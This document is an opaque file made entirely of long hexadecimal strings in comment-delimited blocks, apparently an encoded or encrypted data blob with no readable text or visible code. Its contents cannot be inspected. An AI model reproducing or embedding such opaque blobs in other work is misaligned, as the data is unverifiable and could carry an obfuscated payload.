5d6240391449e0fab26d1ef03e1fdae010017d655c7c83e00d895685496d226aefa0dce1def966d2de66a69f6788ee65988149abcf3f943e3c8fd5c5ef640d8bf91e06ead7a4d9d5961aa5d1f3de17c08b49b3a9f0b08519d8f1b277d390695f7483131e2db0955077b489c8e4defba416760b440a5a89ac90c64ed5e6ea83c3b559e851f1c8aac5f7baf453f0bc3b9e4fc43c042a05758baaab8dc9b5500d0077819ff172a8dc67dad8a043ece11a4cafcf64ff4c33c63e241c860b618ac2e4b6c4255358d736dc5ab23c1f7047b36f2b535db52b198dfc7bfa8859c92c7f07362d934bc2ffd1a4f1b7c091ac82c7fb77a2c69e0341aac8d49a114e5dbe9d522bb023374cdc34d662b1483a0d8d53a4cdb4c2da5f381829d33258676b8f8a09e0818a5d24886b0fc3d8f6f9c99aff7ab5c0a60a584faecff5600e545a19f5376b2576c72099ed8c592e3c8a0542946125226fc8ccfb83ca51e01b6602d10f6e20c585eabf5caecd042135c8ed17d29c5dd6bea10d582490f64e0d038d5ebd703fa0058cd672d8996288b45db7d994294fc5c2327f4394c9ee5d7ee5e65852b19ef374978a66951297be395f3e7bdd28a61ee263c5128f87df9d59d06d90de07f9365e4449d69ab431405b59d8bd2f694eb96e68dd7512894c374c3efa555c0570169a686e35c715a5951cc72046dc68a4797054a4f602b03acbdaa9e963b6c175e38dbac1d32a22d25bac65b4e559e92ebe2faa3c25a0daeb235c022e0599f2dc69d6f56e3e43e257054fa8db6e49587f19206eb487c33424ebe8bb7e82ef79e0beb2606ba319aa395e2920a29075f556e94dbf41e4bb0d38b004d1373acec38fb0d9432ab63477472c7ed13b021f56ff65fc036327e533080cff5de11553a18315b1e67a0c17f23bdee2693d63faf72eed1f4a9d53186f000b2b66c2a972c3a687d4f023218790f5ec158d43fa30079ebe1738e57ceb0fbae32a8b731b6593765939b12748bf5517e04b72b628e3d8fd6a80e540b7978d9aecdccb13fc6d15526df429ef1c9b45cc748c3ae8075bd0740328447ff2bbbdefa28f4a556acbf21a766eb098aa9f6d55c6b3176e1eed65875af1c60c0b67c3cde035902c83c3557f2901afb8a72ce34f9aced161322bf1eaed6c9a023cfc087b1c0b0358bdbfbfc13fa4c8f4be6399c1805a75fde7d7b117c567c31dc9a582b43c5381a8571da1f908457ed19695ebcbca9932dc6e55813497e0e6b3c188ddad46b5f4cf4344793e516dfac0301ec912cbbd70817c605b6cc48946f2f7db824e0f5ade41fced191*/
/*23be7c4a4864dadadb3eb0636b0d5e048c9c37e22753fa423f62dd1f6e8582c9dc97908df32d25f1e09f666d0d4283c0e5ad0bd2009aad9c7e16ba90fdffabdbfeb48a04241fa281e752b86deb8cb702693304fcad481573fb5e7521f5a890b57a1fef6c4beaa61685dabc90859762c44c1629947e52993b15954af4890135a2bb9adae14a78173b43989c5a1761e0cc8723a8791bebbdfc71db68dac30e75f7ee5eb8516442f9afd483e70f3543e7397991e59e62b0590e99bf96214513bf598def18b3dd9d7ccf3a92106d03cf80b09c56d12771346759cd71705783bbc2022afafd3d69e2e2d679799f8efc069ac14c3c31af4674477623cf0fb4a2bc5900871b85639a170de220e6fbc562391150813326e275411a58cea37b57e8fcf82949dae306e71eb0308ccef978463f5bdd5a7e50c3cdc7d6ef8438f7cdd1b5509b32ba4b679148b5abefd549b299d03e6c67036afdb2f1b7487e6226075f6b04ebe27b2235c80437fe260d2070302f62eaf296325fcb0dfd25afdd0fa8c1e6e823608791c4a0f152a39fe4ae1acd0d698a2bbdf3bb14351697f4e6cdf7e4874879e6dff245912d778191e4bb46b5d18545b22ff2f610e47e0bf6b28fe07754169a20d3913098229a52ece0c93df797d4ab2237b91a5970ea2a0d9b574a59b4a3a43c416174d59681b2f02e2fa2738c04fa790370423a366caf163dcbe0103d1748bc269798e7e76e6b8e55dbdbaeebac38a81b9ecd98967bf5d90348f9467b3719c6386c9e81d80542245e7a39b103ae96b85068aacfe2b2fd84b9a1ac0f179c204293d5f0526d9aab06c8484c7abe0f8b6f9bc0c82df161a062bdbf3a30215d0fffae8212dcfdb14d57071a949bb37c3080cc93375305efb729ce4d6e6d2befc75520b57c32266d3176d7ef2ae4eec8c3e4d03a1b36d82c371bbf28b39965ce50ce5c04368336c9a817b68b8c0fff0c14868c41f1365891c320f850741ac361fe688f9a415ce900758d28b7734f61f6d3b3ea1bed455ee4c0a7f322c53e38e09db91a4c0de770e8d9c8923e489d79b48a49567bfb00df6f9e4593528235d978921976a953fc9694befe21e53a28cfa80df9dbe5a6874648f54f582e900d6b92e8d01d25b89f65133015974b16ddfde1a80dabea14cc4d0d65c184b4304728760ae024e9480bbfe4af7cdd8b72234426f73a7276deb3f2218094f3160453f3a42507abecfa11b600b77fb0e1b754dfbe4f91332f58c5871939c81a1dc7d7b5c349f33ec8e934d0620d5d7c00f2ecc026676f1635f5e081061be11527febfde535db9dbcb7f7daf18ab35dadc4ad29070f0a598d35eb6bc9ca0b17a1cf6759c5c275ca94ddc6c38b1a23ced3b2712926571220cfbbfbfc4cce0cd7bbb0a8e27493a97ea3a6eefa00e7fb571ccd9ba13699132fffb9df8872be944cc525128e7228ea5a9fbf3ef9639ab77a1d49b5577cb284f0f274055e7da99270d46551755ed163e6eb8dbcde62e825f8b05889ce7bf58dbba73631f9c225e543b0cd051aed10f863ebcf523f3f65ac236682d349066606c8477379f428590578e270e8839dde9dd9e95ca9cef1eaddfae36ae84dbd4e3f1ad1d79045d475f7434e7bf7e79abe3ad9d128b3493612c0a17416ec1f671a1298699481c1ce31e7a6e423ea1c6bec1384f223da08939fc512b97e2ccb66308aa357d56725d2450121ec3a424bc9fad49983cfae19483c548a9f20228ebdd07f4e70cdbb7e5234ec3a1cdfa0d5837387341005ac614a51d3d71e27051f18d40da8a80cd80431def285f0291fc138a45a7a5dde33796e1ac37cdefa7fb6ce365a892b512125b68061f18e21525faf32f34ed0c17f481c5837d87d26d6eb44e45184ed2efa859a4ead52889dc1ac5e84e7fa040cb106e8408ae40f99406993d41b76c3f11792a3368ebde3e659e55fd0a19c62e5fff857f7d17407677272ecbe8317fde51666ff67c8c82c5acc21f49891aacf8606cd1ef9b14705c4a94c78f5f0979a166294802c931599d4097bc3fd67de31b2a7d44b8b880de1d3b81baaeeaa03f54196598079906563ae452581f643328480c9b169d7cd5b2d0be4fa3e5f035e7c73cfc5bf25af2235695e2263e4d08d54468e9a61c876ac2a7771f27be373ad72fa75a10a32df9d367871be278838cd9e369ba6e19ba8348ba1ae7af049a09e70d2d106f638287e4f4e353563a141c0b08675860c2d60e3df5bdd4c814f9136654e31266a20a501043abd12608493fd7f1462567f060bb3c359a5c0b4a5c3449b29186d95c6706302c493619acd74c071e7cd543c5e4da1516c60cd03126cb3067d097aa8ea44d36a2e0fea30ba1e5e6a3644b3885748905c6d61d7133d06229449ed2d989e52e7cef6859f9a3a00a16510791aa7644ee54def19c5294ef044eae0b0cd70811f7c8da580042d30b8e509bf981e6c867e379657fefcf2b240bb42660853989e6b6ddec48619d995cb6cc65e6158681be4c1f4985561702c833f2ec65989ee6a375ca723fe9f3302271a370247ae38acb923cd7ce02725147e4adbc7da9735adc5e31aa7dd3242a0c3b8372a9c171c7624ec913ac1513208c206d659c8d5d6d20f2c3553e5b311c3ba1d81d83c18c5958124d75b315d19bbc28ba619e0f5a636162d146d1a5cd75a1a8b5672f7b1ae7cd2a739b3da5aaa3c551fc5371eb1c77be145b670acc1daef63efcd5114127c044488bacb6efe1bad4259141c7e99b6c58d0ea6020407ba3fa04b82db1edfc44979188e31f7e8020de1d730c2373b738a262f7cd06bca771b203f656118b363857dcd8534fe685c7c6*/
/*da369da741e64871000c56b5bad2bffb5112d2ddbc9ca7cc23f29717671ce7c554cec79f3228321cd2a15dd9b102cfa7de90c7bf1c452de7c4a4430d3c37528eed60fe6a04cab99f86b71558bf15a4be945bf1e8b0c30fab764dd366968f4c42c50beffb93c4939428f45e990f6bddef035c07ae33792f23d76f98b19503a3f3bcdbad5daaaeb3d05aa18800675c93ca3df036b4e6fb033c475d2723300c31f511a8f7e9f2c79d3e2fc2cc7dd093c62d550f7863337a68a970750047bd4760751eb326e3b962aa76eacea1cc62765ddc1e863240ba847f847a90d467a7bcac805545bb6ca1144065be5c5b3a0689ef75abe8967646426082f0d77e179a937ed6ae120f0808e95800cbdbc8d0073c6f5d510ef3fadda736fc076042dec156337cc0d181c68754c6949c14076466101035e93505eed5e986eb9880b60c521786373ab0bc32b6eb4fc34f7e4460e1e0c4919f6fc37cb68bb7c2e5faff05babaa32fd41bc0e68f2f3fff2caed1cd0825547f604fb880e08ec4c60d6fa865ab5cb7e7e4919631c28517d73b3cb88f81f9977021d6b4be12fba46ccbfd4d8149c7a868a695dab2fb6de93461a6eef79fc027c1280c1927ed7be82dbf47159d8cbde6d140ad73bbfca2b19b06da51ad225ce8ce6d932335f2c5d97cbde05e51077142b42e305e45bedce388084ee795591976b8e278edb0a0781dbe40c195090630cf8c1e51278d5f80008fc7d732b03301f6d87b53e53047de471c40339dc1d90e8189fd16d897d5cbc38f55a80f8cc86436796779550885e72e66c18e6afb4f6880c61647f3883c6ee5abaadee8e0aac192655ee287c4abc58aa9c159a3cbe90f25c90a8c25097360026ba426db14a7582fda4a1671672899dee95166977f233414fbb6a42fedf129c0b0984a9d920d37c5453721db861d2310fda6e14f2d51cc7f110275905fbf4054e28cbd143056ac7e9914d3efef342d5382e22083290752a5d812d449c055e1e90921d5de60e238272fbcecca8ebc83d9ca9554744962680ab6f5c0d5215ce5e21b2e912d47b68a92308eb822e38f48be042fe67881c100c4cd27c38e14f41858c433debbfd9869875b0b2c794cfddb83840afe6b27c24960d20cf3d7d8bd6d3623fc5d1677612b7bc836b177cdf9e9800f270f24dc92a6bd048672823d2997c3f0f06df57fa087e5570948c622297eaef1129978ac98daf79a1490d539c10fe6802bf8602686a8446b68b6d7582bfa51de8f4b6361d15b7c2c28e646d962ba282a2cbf26b1e85e1544cea3cfdea3acbb03cf74c0ee9240cde82e70fdfea6685601a4e38d133811054047ecfcf10d66c7498c636b5edced59bc7cab449e9ab939d422d1f0b8fc46535229518007b76f0c903bb8e683b587e90fc0c5738366d260f5988bd72895b6ad4fc9f1473be00c6662d88a05b5b0c4de3cf9d41cca4787f2bdf524e98cd75f9ddfd8ce5837ce850b98c2e090dab6d10c9e1057e49081135c10f700270345682790ac7ea2c998a04af5904bfbae0813fa79ad34da0abb59ba254c2dd9ebab331e5fc537adc69c1bd0e22459c60f824fce7c30741082183f6aab4855f9d5fd2d774b3e981c3caf550e7b5270f398587a848e3c061e910fa90873cac600ef532de2c03f5d59217d1b1ee0805beb9250bb389d640e1b7f4c17e4334008d6a32a59b158e0009d0ca642975ddb9c67ca9fa0f02b8bdbb6993a5267f4e03a7bf50350b0d2a9ce75fe9203c06f34b66b41fd8dde972fbc856c851e8a263a49e3e0b7c80a40fa0bfb06693e1de79156fb1f0522952b1f01ae1b02af98f85a405b0e1033a6e8e1ecaacfaa396c2b0a7ffa0b74bfff46d99eba073ca7fe1c038d863da4fc9f1eb45ecc6da64c18492d8cd31a5545f6dd7a58f27808e16d3717a7e83e504956ebc6feaff8363bd3bc8ccd63ed1bc7594e50d1117a6175894ee0ba1e5a25eb5a474a3d0f2318db15e0be0f705f87585580a638bc3e37992eb98587354abaa2fe1bf860e296e4eb9e525256755950acd3cade0505212876010f5d0498212617ee526a42b6d4275a33947926ca0a1f16528cb68a189956a3cc8d9405cd848dea1c4153b4844ef3e9232f6d9e4a6e71d89ef000d5fa1901a4f2a1e413d9e7156e1c87f4c2149c1f07e16e77519c9db4394e685a5cd325439a367bcbc475c3e29878988c0c08f3ce1000f7f5ccaf04d309432c2ea62044d86458569955bd8d2416bf3b1b5d609934e83d30aa98836b9a980f02a2814f9f54f337804434c6bd8dc66ab629b389e0a06bcf16888eee47b7858c09467a15bae40ae7a9f72ce0836910f1c78ad9bf4a8b660f59ddc96b2940e8b121a040d2f861af7a261ae6698f4cac43347f8b9970ed7d88b3e50a84086f4c2fa89c9278698826bfc329b9be99c3e903ca26843b3540fa6596f75235b08bcf7d5c4c905e6fd8d3624f985b8bdfff8cb78faffdced132b578944d74a26b80da1909b92ff3cba2f049e81062818aaa0dbc03401f1fb11aeb8d4a1989b32c9f12757ee5f4d20e485939bbb1b22040c6596ef13cf10f6e62ca76f74b51a8c8bc2e191bc35c0ccd7bab56409b97f22b9faba51b71c365ed3e5648e73a0e0d2e87e3e8dee503e592d18932c3c75f53d610eccad8bf5be24fe2ef8b359cdd38101be877cfd5f0009b9209270ce9c25094becd8aced984e22a37c72ff6aeda4549ef18d64bd5482f0e9a415ee961a9bc356d8e73be23d4301d4c1ed0d80b1cdc7130cf80121707c99c3b4fd21984a5948763dfacf0ed8bf7f1bc3485817557bf655dd397b3f021c78b176e5a79c3c96fe93858577a*/
/*f86e3716858ae37b312726a798e9a1abf859d2b61e9902362606d4beced919cfce44ce2bd38d7dd337f97618be357f97bf9dd2ac08af0092d1d0dda491dccedd6acb02667a9428dcc02e3d2943ebf6dff574c2635093b0a8dba4e3464a359e45a827d99e24887340af97686e1ef12254b1412869e9d9468a7aab079cbbde5c855168f63bc35b12f341f1b2830ae7f0b03c745bbff5c60e4d7101733ae9c4499d99b7cf4fb3db55c1945e97efc66c5bf21d69aea2c791cd6b8ee5546734ae1949f4dc51c621dc754fc2318aec75e04c0442448da5b13522eeac7a656c77ec2c77c585ab2e2aad3f740c8820013022272641d6ea48e0d009ba0026a667a3df8fd756f9f736d37d2bd67df701d2831acd51cc02bafd9ef73a83ad91163b8d3454518693a7c1cb204170e19b0a96c62921b24b530db1aa87bb7866de432ea18e88e78f1a51de62ded6523fb0fb05bd5db90fc886728440cfe230340177568abcedea0c7a856c9f4b8dd2573c56f3b2b135df743e336cdf0b3c93e7cec7ad30d5c8cd4431e2388a93aad17acafb642c3809b100f2a8bd30f2229be6c99613fe5f407770d610af798f5c4bbb600640d7c5e74d615352d2639887c6de83a9f12171deafb83c88fb386671a9b32715b84f23aa30568b44226aa573910258fa5e8a3f40cd20f9485d3e27448f18da47b874d18fe970a663f5e80253e9c6e6f6d70a4731645b0f2b5d07930a3cb2045782d411477048c916abf94dd7e03302f0846bf95f6aad1bfeca928d5d36e26b9130c91f8e529f01d3581d92a0b53c57a9350117ed3591b8b60562481476fec7326e3855454dc4b1576b32ff40ff67afeb38ca55c1725fbc29b89d66c14f03f5fa9e38db3b1ea77f4bfb302f4f911221f7e3f0bca83277483136aae11fe8ddbaf0494dbf1526b1af8b2a57d206bda85e9cca2b5b0d18d04276df85e19ef95acc997314b15d1939d433e80a81b5510691483d06bb90f557993c469dbad02249d09258737d619239655b4b477a9b468d97ae3f175dbe3190660054539f791a6a872a375ef6748d8a4785aa7f6c96a70a86618d9a9b21b1d434078d686293936afd5db53eb041c5bf46a0b4d21ea1d3ba9b3773848816156e9cc61eebcd5ac8eaea93d1d4352a133e006a39299d97e52e161e3ea67b28265205e5ad48cf06ebcdbdd8bbbfca1ec5c352c915777fcf21bc2ac9428e7fd154b9a8528e325f78721188d6a30d611e9c25a6f7cb90d678d3ecd2b7b13be3dfb438375c60275ac722500d980e6aa239b4da235ff123109f56b3f79f38806a03a9a1b2d84ebfb608a2831ab2a83094a448141c72048c77a97433c7f6db4ff23c86ea2ec4c554fbf6351fd56bc8893d7767748f0486ba4613d04fc18e4fb93d8c7e205d9ad3fc3dff1df1101e1ba4a0b73d16c337e5420b168c49d001fceef4e659371ab136a601f71bced8a098e0fc9f0092b7f85897d7d50c71fb7d35eff0a452e07bec723972c299a04216ac3fdf367c7d4c7b79275691fc672608eec29958ef24c1b43f8f0f0b53221882ef80d7914be9fabd132e8757fb04bb7fad114aba8d4e702d5bb6022006072a7660cca2466c1ee4be1769ed1109789408134b1e1abb25c91846bad8784166781fc9ddc9d3e0b40b8b58b348deaa793c831661b0f69686172c8404326f172d42feafd10df02f9fe02cea694bd279f6ac0b281ba1e4dc867989c54f7f0e1e3d454d9d86bea04740bc2a979744e627a1c6927dac6fa03ba5bb1bbffca7c10ea72617f07f29e2d0db5411775121c214c560586144c8ca3280409b5952a7220b6d7a5c898906566c18b01ad736ae14d8b7a88e56f57c313d53cb8e36445066f1f3707dfd7c84cdf766257b19fcddd0801bda5508d6cc8c0c73e22c79d58d3e96fd2b9ad577d9b521d242e1ba112182741b9cd67c07f704c812750484d0170f68404f287ac990f9e3daba80740f5808c63a67c9edbfb2731762ba44ff4f21cc4a50c0c5a9553f308cc7091a6545d5704927e3681b890bc4a2379ad7e5c3fad569848e992a664980e9ebe6371d4b8d57686b427a7d4e5dcab4167d8821e1c70d539250590592f696056877814aac26d862036c7532e69b290cf65b158aaa81b4446adc886c380bddab4c6740a701d50dd45c2aee8a232d1ad96ad31fcce00303eff5661cf64d394ff471f8839df5f4fb7f9197f560fc0ba3b99ea2705074ae0028fbfd50731963a05bafd2233c4466c352731d266cefa77f917f9f24b11c495c7b1c7f4d21c327e96a45d9db99ea705a09c659cffa084352877202eb3e688d42a03db0602ec1af19b8de2ebcc9523de1ba3d84daf34f20bd244f02a067b32d980be83418bf9c98c49d5863e4493e1a0fd1393f4d5ff2421d9ce6e16365194a2c39a059c7c339f9153a47f3150bfca0e36ac5008c9da74676a1a54e1584a44fb8b3b12377c1288498b1b5d680d90f68130f33bcf331aae0c8633efb4e420d2427371cbba5ed867b69ce56baa1ced3d5b547734b951e08e6e52923aeab9270f3c50ca4b01d33f471e1e17397413d8bd7d493a9666b73a0e4342e129ef53652070dfaf0dd846b2668e8fd1447611f65e0bb0c012dcbc4d0dde264b8b03d1b4043e07d99a275e03a65d653e3f774f377dfa0148c17b5d83e621e06a9a216fd3228f0f643d260d97dac9e0c37c9cbde1fdb09d3c494727b2fd086decae81b685591a9710d2ddaf5d50cae14565d77ca995ac3e6bbd189d9c8862386901b29322627a0eca16c0ecf744566b70cdd321763cb499114e208eda01486c33ab7c3f3434b856a61154afd87c0f06e*/
/*7d1c039d8dd0101ed37a4987f2189bdc948f77b9e3cfb4dbe31472a5ea4c6001f4aa74c0eb30eb4eb4c02518cee91fc73a0e916a8a2e8663f9a52e8f7059fbb51f30761f7c488f06fc22463adc5635c7a8eff0a56b3594209ec060acd59cc9d9ee48d5d43b2bc7dd701b07c3e945efa2ba2e209e9f86c8761cf9c7eb91eec2ee02fd703245a3c7dc7c13d9c62daebb38dcebdd2dce36171fc868345c46b98d06aea2825c70b6875faa236df0f82c0e9640e6dc3cef5b147197bba4b811a017b8ffb7aec6021e9d6197e5b262503be5eeb82e1d2c5646aa3f139432281e4e8ed9370262042327f23d7f6191d8a81fc32112911c47e43e17bff5984063a6239b0d8b3a4aad6b529380eba5cff6babc7ea1b69fbd3ea52444ccd5d46d257417510825185f123de2284fac35da0cb7fe8c2b2a97cc234f23f76cf0cf473c84ae223f3a8368c64a0b7fa2362858385fd01c0e8eeda599bdb01317a38bad64841e2717f560f017208e0d0fa5423cae4606ea5f7f034c1cf6587e2344d4bc454384878df7300f12a0ce43ae242bbdf62568c7aee0df6383711c8844949f14c4532f0f8f1a55ffa12a7dfba08318daf6c764a385c1a727f16ee881257ec1bd304803a3f1f68d3f7b105b5cf5ef8c32870a9303a27ec7c7b727b995cd0f0d96c9162c03087b30ae16265b5e851869bf7b2b0f4d6c101cc5794908d9cd4755ac9392f95abbf5ca527915de481e726e0e5bb60cd58310340079d32e9abf4b4da49f20e3380e73b23bb1d35a0accf129afc0702b9e550d141cda96b584e4bef0fce426bc1cb916234b304056ef2af53346d8f1480e91fcbffc166665cd6992e614f44b3d9d06373ddae3be5a588b533e1bdb2ac786ea7e162e470b86d5c0b833421e7d0f5479ee17b3770db6ffd32c897c83907831b999c2ba0ef9c74816c09bb4d3783923f61cf9db659ab260a29d2118a88d9e0ef6ac6753a455ead49ef1ff7aed2e9d147fce211d4a79441956c0b4e8d02e4a4e0663a5613243ce2587795ada3b3834d6c6a3f38a4fb2cbac49c737b3c56b3071890bc3dc16a54f5112aecdec064ffe92ce1b4a5cc4a5d2297f8062e4b713dd635db4868f480f38a876403591dc0926692f119a310d212fba1bf3f3037f6fbd9ef5ae0aecf30e5ea5f66f232afbf1da7ac3fa3708c872b91674c9435540ae77f7ceb1d44c5b6f3fce88ee47dd35d6795e09a6b103c1c4b9d791f773e77f95e9f81c6c7a3aaaf08c06077d41a103c509013fbb5fe53c5325fe485afcbc7b2c585b594f48c7d65dfc3d1c0fac1d9a1815bebf6c5f59f8fbf3e961bd088ca49b1e4580112ee14c1a2ca39ca79f5d84bea23b683d10427f702a23aeab9f84150ec3410957e757db794aab58c2a152764b49c109283005a03448013bf9d433c736476ea30675569c7674af6310becf8411e9691f48a7eefd261bfa6017b7d16dddbd6e013a15e9b1705c798c840b563579cdeca7fe8c8032f371af5365afc8b65f9d1e96418fde7695419776a7ba8bca1f6d94559f2c3fd165008a2542d3062edcbceccf323703b8b9bc7a6cd7453437ffda265eb0389e0006473a97860c0f8f3422ef98d3f82dcfa4cc58c1996a81bcc99867d29ad5318f727c732657270abafcdd1c703b47a98935ad7db656033ff0fd145f1ff4cfe1b84693783dcb58d0393ca0d1b806ca32d7387746219803d88808a609aa22122cc24b7e034953b9183cbe66f8f58f5343efcdd27063d065b12fe32ff0029c7845f2fcd4ce894ba7186bfb5bff4118f92f06bdc6e48c3555efe0a7fceb94367fcb0d9f8040abaa2a5d81cc76ae85f2f16fcf885ea564ba0289aadc731307886db0c2bb191f139a5420b0279fdc880081af09cdfa581eb4af36371b66e4e1196c033957f4f39f2d82d83443bb8f873e9225df07be8f6596cd4c689cae5098b45ee0a82b767c2f959349a0236e7da4bf79763f5d86630d07eb6bc8b3bb413b9005eee07c94cc8ef75bdd46936524af4decb7d1afcc5b7385f4b1bc18d2fd644fad50c2bc2e4b15eebc4390e33cafd907440174bb1d7712ead7075a2bb9c5408707792c9b9e04bec1863fd1db5d909978104d7ea091b99db4021c28637ff0689c200f511a75438b31829901fcb266860d201a543607dffcd3730f5c4fdf4b244ab8063ca9d4b220aed8fcb9580e8af6d3ee9bd09c82713c598182cbc418b95d1fa2e586017b8b59bdaeaf44d6c5864c35274ff2f42189eacaf7ded0fc014a3eb653b6e9cfe25dd8013c01576663da9a4e44f65fe84115efa4c04301d970c7f9c786f7d85f3f197ac471067c927e717bc34f28a7084d4a40c326c8f0aa3ac5de79a112120d3a73807a5bc262a64d7a54c3104da2a3d2c94dbf550343d11872a755ab36782d4de62ab73bc2d7db3db8effccec747ace562437e13e42674e85ae4197ad43a03f2bc7f5fb60f4de322c25169b18d952ed82e1aca8c5f91556fdb9c290aa399dac8797c5d6d9f42e0a9e1c7019d6b8d0760e8d5e4f6469b50eb415add0c6c3709ff7a578afed0cd32e38f510328ec0d3e6af9926c42ab9de19fda1e12e624bdadb0d9e411d818aaccf14a62b700f3a3248824bb32be92e5cf15d19ffd9ae355c2d900acca56b8c24126b2626414172dcd27c7adf627687fccffb01ff91e21370f167686d594cc07e59312cd9d0bd1b7c8cdb1ff975302168b323095193549cc2d292d8ede97b2b65c4b62027db30989bd5a137bd73d41f11dac303b3284969d3410fcdf15af8b5159ae272dcfc8f025233f5c6b21c5c9954aca6812856b81b289afc8cc7014604fd5ada5b8*/
/*3cca9a55d493b3196f6918321cf4dd32527974ceb9ef2860cd9b7e9e210a549e6e72622d192ed6b713f6ca3b74ca9a05e98097823615eb4af3631de5d23b30862e3bc057b0e94d35def944e31c87201c267b13c7a20f58c0df6e451beaa774deebc6d94174c4516965468d4fd21f310dbef895ec4b53db50089bdf7205ddf01bf296ee01620d6c68029da6288d187d04f3b0629b939a9704c4854e1e024b8d19db4d8993f7dc63326062ce7ede430401f3687bc2ed4f000fbf1f9ba5b08471c7310c752d25b0368de0c1a4c84a58b46959625d3325d5e3f6dee6f3644587350431d748da2f1b8035c96af5a05ec0d60af3be6aa585e9aac7daaf79805dfab13283a98a637ffeafe6a9357699a49a5df2498ccc4720215216f877b4c7fcffc68864c950e201d8cd46acd66cd1e922e775e0c305e10b339a911df144f1e44cdbcf99c459d8807673f7aa6dea89a0ac2cde59111ac578cc3010f6ab0730664dd618c558e5042559f9cb8daf6e7a2c4bf6240deae1d14da0d4c9b39800c6c138e584cbe652d982b849fcd7a5d776ea5687bb6132508c93d22eab572160a7f7f97316579592e453176413654914e5f1ce1ada2ae2b8a66789c39291aca63d7ca19da73bdeac2040f7bee924417a2a608fec69cc4d7364733774fc31cdbb1293c267082456cdff80322b556346879e3955826ae6689f3e12085c886c45005572aa6746376c177efecf9de1c6e93bb62f977fe90474528614cd0fdf15e6979070d31392ef3d3d331e37c7bb71bd338804efcf922356e7b755b0bba024075d8fb319cda67db3395c621a22b0f8257924e669794d0b71748777189f5350791ad2ccab59bfbeda378b3591f64609fdc742060090266a6d19bbea17bf24147cfa652a0a40f202a0a0347c98964f43ba578fcbfc6e18a2e3ac33224e9c9ec98a1bd69cf748a2caf6324f44fa90fa8c2a4ade64451b09272f255878b0b31281e8dd6f1dec490ecefeb362e5155c06de2e2326048f6d794ca8b5d0cd2521c71138b2cb17239067960ccc5c2719321655c233b463833479f5d644e476caa98e39b571e15572ee3c16d1d737ed2eba979a45491738fca571370760423c99b87ce955c8ec733bf66df6c688ca73f098227b49e59cacf58d39364766a79bb02cdbc70091401bdf11549958821180c380bff2619e09033038a8ce84475fa7250fb16715b1bcc76a57b06644b1d49c25a9090ad27ef240a75db9f8706675191ed84b7a3f36bce40a166a195d98f99d59e3f92f0deac013c4a7a1fa6e1271c8c31f7f79a364f20754f6b9f49b75cc7d039b7faae3c3eef3e84be45985e53ab79b29b2dbf081093cf2c281a6854a7a786f09407ddfd0b5a8296aca2f7479892bf44576abb8a3908e9581e330499093f961ca0f6e09c3ee45eccc84ba710970f7ae2b2168f27a3852dc257ded4d72409f91e592377d4bf8aada2471f7a5ac371e2ac4f0fd4a3377d62b81c252ab8d22756e8610b74c0ce823142bf56fea532b2a1301ca8cedcfd5eea521f458658ca1526e11de48e22af6653d72de319549775e78a2c243ff215946c9ac5488d7473814e2ee1bbedd08d8006c85b361c31c04b7465678b1b0367fb10c0906e94a523e63a15505a71e8a8de457a6c5d9e09f7f5bb367314a35bebf5e360c9727dfa1828f0d8cb5107c85ad8cb5826e7ad998ad91a3257c5763ff7aa0a7b397f5becdbd0ed109c883048bae8dcdd9bdefa8261cc278ccb9297c924d9631889896542fd84fef893c1cf9e699cab5dde3dff9077072e2db7dc8c3d31aab67a7d4c1e7566cac37de1ab06685a1e6db4abbeb4bd7beea98a35dd44e4eeb8ff52562bee2b4e95f49df55fa650d693d35d9d013670ff70ed3e778a445307a13670d432da69e63b80872ab66b343b3de4b1a8e56e1e9e998b406241046a02fbff1585c888d69eb895068f3b68018660871be18f2e1f8329fbb12e3b6c9bb81874d6d0cd7376992ece5d8379317b4bdd4afd30f16359918216feaa7a548d861116be2d42e43bb66f8be73e113676d0b844bdd4b071dd084edfbc4fa1c28a970e6e941e0e7ac6d220698ffee8b29b45cc6f841046fa21d5c7670d8ea31a134ea882895f603c05061b79c017b7ddaefd87eaa0a0d5f117342269780875db1e1e9951af8d728212234d1d7dc4d0b5ce8767de87f0f5b374726a434c4280fc17aeb1c7466b31b160f39d3380483a5bed7108a30df6f85dd585f2777b1dfb8cac41d220653602c422f57d49a6ea45f7eafde67e3a15dfbb5099771af1b309c16756fee8440ec1acee7badb7ba9583d688e7e43b218dc98c9c327fa858e61795d5a325d0adf6aace5a1e0127f262220a6936bddf4e3eae6a472c42869a8b7f9ea8fca571801ee92f476877d7c7c38177047aeb9eac98a8e0a0bb456bcf150ce2582905737a27a17307298879e0660a5909ee0950ea629e2283cd4a12b9250a2a3ff1a85b3561a58868057082829e9d35c6406915626ebce8acafbe66da37016d7936127b03738bb7d98baf2fb3c05523ea8b196c08144fc7e8f2de482559aaca10ab82d082060df04e969998e6b43225d0a682980df22478092d2750faf83e233c65ee194839c9df5282d67e7ffef2c0aac66dc1fa8aaacd6b2cdc6ef3547941039d1e2c877c0f067ee630188afc6849dbcd1189f90ea4294cb31cf09755050e0958026f42532f2439bfff52246bbc3561b76f3a78bb3ff54102672b2beebcc98f72e92cf13e78782d7b7a8ca099f1f03432b8e4e1f8b89d2222da60e45be963a6a5902e88bbbf98220508d1fee37aec8dd1f29c51011*/
/*965505bd2055e11e65d99881cb5bcc9c67bc80735c38d3939a027382d9df11cb347725c55eca8d0bcdf98adf1f83d090cda66e6d5de3003cd839877def4933ccc486661cd18543895fe382aea752cdfb4adb4f13971533b300266bc1ae8ae33d65dd87f2ca4fdfac04a6ebbcbcfcf7e044b1d3c0151450a0bbcd2bac6579e4de9ed5e1652eb08e2885c0973c3be31333b96dfc7e5db08bbbf0fccfce1b375d580f9875e07028b25cf995e36675d4e3c28b97dbb57b8a0d457d4ed35d2207ece46ec464fef493ed1f770476d9cb9dc2abf2fccc7d1da5687155551264e254502f02dbfa14fba054eb019ff883ca7d45188e761a7af9a8dbdf10f5082d908162052867bc21188ee59b97f5f216e7167d2a544fa6460d315ad92a3efe686eddd2742fbd96f93c0d30a1300a0c57ff2858ce7c3deac836ca338a85d93d3e5d2727c88df2500fc1f9bd0e21c7604b915f32ab1aabf02d126ba2647e51066d0fa1d6bddb43a86f5f776272ab7998799e55922690df1a0929d65c0cb7f2bd2aebe48c1864c9722b12ad71391fe21816ba9b4066e470f4c41bb92870ce8916eecbdc874a1992ba61e0f27b7e0d8f57b307f79651dc2f4a578b07a673eeb772ff0a4be0540003f700e370ef02c20b4e4da5ff171992c551a0e3d65314e34860557879c44a8b7714ed2aaefc0bdb9dc9b75b7617feb811a95869d38a2a5a7e68ba62afcadd95aa4c1a0166ab7571725b8a76518359d29d90435631d4777c6d39f84ae627dac0b9faa10e4e41751d076feb6109d667372f28442aa2dd2c3729ed83b56eebc7724eeba92d45cf4211faf1eeb6